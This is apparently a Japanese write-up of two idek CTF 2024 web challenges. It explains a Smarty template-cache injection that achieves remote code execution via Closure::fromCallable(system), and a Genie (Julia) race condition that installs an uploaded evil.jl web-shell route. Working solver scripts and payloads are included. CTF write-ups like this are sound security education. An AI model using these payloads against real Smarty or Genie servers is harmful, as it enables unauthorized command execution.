🤷‍♀️

Idek ctf 2024 web writeup (follow up)

2024/08/28に公開

untitled-smarty-challenge (434 pts 13/1070 クリア率1.2%)

?page=<ファイル名>というクエリパラメータで、ファイルを読み込んでくれるサイト。Smartyというテンプレートエンジンを利用して、ファイルを読み込んでくれる。

index.php
<?php

require 'vendor/autoload.php';
use Smarty\Smarty;
$smarty = new Smarty();
if (isset($_GET['page']) && gettype($_GET['page']) === 'string') {
    $file_path = "file://" . getcwd() . "/pages/" . $_GET['page'];
    $smarty->display($file_path);
} else {
    header('Location: /?page=home');
};
?>

ルートディレクトリ内に/flag-<ランダムな12桁の16進数>.txtというファイルがあるので、それを読み取ることが目的となる。

サイトは、自明なディレクトリトラバーサルの脆弱性があるが、phpのopen_basedirという設定により、/app下のファイル以外が読み込めないようになっている。また、どちらにせよファイル名がわからないので、LFIではなくRCEを行いたい。

openbdir.ini
open_basedir = "/app"

流れとしては、悪意のあるファイルのアップロード→ファイルをSmartyに読み込ませてRCEとなる。

✅ Step 1: テンプレートのアップロード

ファイルを直接アップロードする機能はないため、/app内に面白いファイルが設置or生成されないか観察した。

結果、Smartyでファイルを読み込むと、/app/template_cというディレクトリ内に、キャッシュが生成されることがわかった。このキャッシュの中にSmartyの文法で任意コードを実行できるような文字列を埋め込むことはできないだろうか。

ファイルへのパスの処理を読むとA/X/../BといったパスはA/Bに簡略化されるが、Xというディレクトリが存在するかどうかはチェックしないことがわかった。したがって、ディレクトリの名前の箇所にコードを埋め込み、../を後に追加することによってそのディレクトリが読み込まれないようにできる。

したがって以下のようなパスを用いてファイルを読み込むと、攻撃コードを含んだキャッシュが生成される。

'../{<攻撃コード>}/../pages/about'

次に、生成されるファイルのファイル名を予測する必要があるが、これはファイル名の生成アルゴリズムを逆算すればOK。詳細は省くが、以下のような結果になった。

cwd = '/app'
target_file = '../{<攻撃コード>}/../pages/about'
filehash = hashlib.sha1(f"//{cwd}/pages/{target_file}{cwd}/templates/".encode())
template_c_file = filehash.hexdigest() + "_0.file_" + target_file.split("/")[-1] + ".php"
template_c_file_path = "../templates_c/" + template_c_file

Step 2: 攻撃コードの特定

あとは、テンプレートエンジンの仕様を見ながら、任意コード実行ができるsystem関数にアクセスできればいいが、ここでつまずいてしまった。HacktricksPayloadsAllTheThingsの情報はSmartyバージョン3以前のものが多く、問題のバージョン5では対策されてしまっているものしかない。

例えば、{system("ls")}{$a=system("ls")}といったペイロードは、systemという単語がmodifiersのキーワードとして扱われてしまい、実行できない。

ただし、クラスの静的メソッドは実行できるという(なんとも脆弱な)仕様があった。Closure::fromCallableという静的メソッドを使うことによって、systemをクロージャー化(無名関数化)し、それを呼ぶといったことができる。

以上を踏まえて以下のソルバーでフラグが入手できる。

solver.py
import hashlib
import requests
from urllib.parse import quote

URL = "https://smarty-challenge-33d3909bf33168ff.instancer.idek.team/"
# URL = "http://localhost:1337/"
cwd = '/app'

target_file = '../{Closure::fromCallable(system)->__invoke("cat /flag-*")}/../../pages/about'
w1 = requests.get(URL + "?page=" +quote(target_file))
print(w1.status_code)
print(w1.text)


filehash = hashlib.sha1(f"//{cwd}/pages/{target_file}{cwd}/templates/".encode())
template_c_file = filehash.hexdigest() + "_0.file_" + target_file.split("/")[-1] + ".php"
template_c_file_path = "../templates_c/" + template_c_file

w2 = requests.get(URL + "?page=" + template_c_file_path)
print(w2.status_code)
print(w2.text)
反省点
  • ドキュメントはちゃんと読もう...なぜ気が付かなかったし...
  • 見逃したの良いとして、もっといろんなペイロードを試したほうが良かった。特に::が含まれるだけどバグでmodifierとして認識されない可能性もあったわけで。
  • 静的メソッドが読み込めると気づいたところで、php力が足りなくてClosure::fromCallableまでたどり着けたかどうかは微妙。php力一生足りない問題。

includeme (477 pts 5/1070 クリア率0.47%)

juliaのGenieというフレームワークが起動している。/?page=<ファイル名>とすると、そのファイルをjuliaのファイルとして評価した上で、その結果を表示してくれる。

app.jl
using Genie, Genie.Requests, Pkg

Pkg.activate(".")

index() = include(params(:page, "example.jl"))

route("/", index)

up(1337, "0.0.0.0", async = false)

このファイルもディレクトリトラバーサルが可能であり、特にGenieのインストールされたディレクトリの好きなファイルを読み込むことができる。面白いファイルがないか探したが、うまく見つけることができなかった。

正解は以下のファイル(いや見つけんのにどんだけ時間かかんねん)

Genie/yQwwj/test/fileuploads/test.jl
using Pkg
Pkg.activate(".")

using Genie, Genie.Router, Genie.Renderer, Genie.Renderer.Html

form = """
    snap
"""

route("/") do
  html(form)
end

route("/", method = POST) do
  for (name,file) in params(:FILES)
    write(file.name, IOBuffer(file.data))
  end

  write("-" * params(:FILES)["fileupload"].name, IOBuffer(params(:FILES)["fileupload"].data))

  @show params(:greeting)

  params(:greeting)
end

Genie.Server.up(; open_browser = false, async = false)

このファイルを読み込んだ上で/でPOSTを行うと、任意のファイルをアップロードできるようになる。ただし、/のGETが置き換わってしまう。

そこで以下のようなrace conditionを利用して、/のGETを元に戻そう。

  1. test.jlの読み込みが始まる。
  2. app.jlの読み込みが始まる。
  3. /のGETとPOSTがtest.jlのものにおきかわる。
  4. /のGETがapp.jlのものにおきかわる。(POSTはtest.jlのまま)

evil.jlをアップロードして、/?page=evli.jlとすることで任意コード実行可能なエントリポイントを追加する。

以下のソルバーでフラグを入手できる

solver.py
from concurrent.futures import ThreadPoolExecutor
import sys
import requests
import time

URL = "https://includeme-86afe80f38253bb3.instancer.idek.team/"
# URL = "http://52.194.97.135:1337/"

s = requests.session()
data = {}

def send(page,delay=0):
    time.sleep(delay)
    return s.get(URL, params={
        "page": page
    })

# 最初のリクエストを送らないとrace conditionが安定しない
send("example.jl")

with ThreadPoolExecutor(max_workers=6) as executor:
    rs = [
        executor.submit(send, "app.jl", 0),
        executor.submit(send, "app.jl", 0.001),
        executor.submit(send, "/home/ctf/.julia/packages/Genie/yQwwj/test/fileuploads/test.jl", 0.002),
        executor.submit(send, "app.jl", 0.002),
        executor.submit(send, "app.jl", 0.003),
        executor.submit(send, "app.jl", 0.004),
    ]
    executor.shutdown()

for r in rs:
    res = r.result()
    print(res.url)
    print(res.text)

if send("example.jl").text != 'hello world!':
    print("race failed")
    sys.exit(0)

r = s.post(URL, params={
    "greeting": "hi"
},files={
    "fileupload": ("evil.jl", open("evil.jl", "r"), "text/plain")
})

send("evil.jl")
r = s.get(URL + "shell", params={
    "script": "cat flag.txt"
})
print(r.text)
evil.jl
using Genie, Genie.Requests, Pkg

Pkg.activate(".")

route("/shell") do
    script = params(:script)
    read(`bash -c "$script"`, String)
end

up(1337, "0.0.0.0", async = false)

Discussion